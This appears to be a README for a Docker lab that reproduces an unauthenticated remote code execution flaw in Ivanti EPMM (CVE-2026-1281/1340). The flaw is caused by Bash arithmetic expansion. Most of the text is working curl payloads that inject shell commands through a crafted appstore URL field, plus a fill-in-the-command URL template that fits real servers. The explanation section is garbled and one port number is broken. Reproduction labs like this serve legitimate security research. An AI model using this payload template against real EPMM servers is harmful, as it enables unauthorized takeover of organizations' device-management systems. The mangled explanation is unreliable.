yunfeige18/cve-2026-1281-cve-2026-1340-ivanti-epmm-rceA simple demo application that shows how to reproduce the Ivanti EPMM pre-auth RCE vulnerability (CVE-2026-1281 / CVE-2026-1340) for educational and security research purposes.
A simple demo application that shows how to reproduce the Ivanti EPMM pre-auth RCE vulnerability (CVE-2026-1281 / CVE-2026-1340) for educational and security research purposes.
This vulnerability exploits Bash arithmetic expansion behavior. When a variable containing a reference to another variable is used in arithmetic context, and that referenced variable contains an array index with command substitution, the command is executed.
st=theValue (literal string "theValue" with padding)h=gPath[\command`]` (command in array index)theValue each iterationgStartTime is set to the literal string "theValue"theValue contains command`]`gPath[\[[ ${currentTime} -gt ${gStartTime} ]] is evaluated:
${gStartTime} → "theValue" (string)theValue as variable referencetheValue → gPath[\command`]`# Build and start the container
docker-compose up --build -d
# Check it's running
curl http://localhost:8180/health
Create a file to prove command execution:
# URL-encoded payload: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"
# Check if file was created
cat artifacts/poc
Verify with a sleep command:
# Should take ~5 seconds to respond
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"
# Write custom content
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"
cat artifacts/pwned
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMMAND%60%5D/uuid.ipa
│ │ │ │
│ │ │ └─ Payload: gPath[`COMMAND`]
│ │ └─ End timestamp (any 10 digits)
│ └─ CRITICAL: literal "theValue" + 2 spaces (10 chars total)
└─ Key index (any value)
# View container logs
docker-compose logs -f
# Get a shell in the container
docker exec -it ivanti-epmm-vuln /bin/bash
# Check nginx error logs
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log
docker-compose down
rm -rf artifacts/*
This is for educational and authorized security testing purposes only. Do not use against systems you do not own or have explicit permission to test.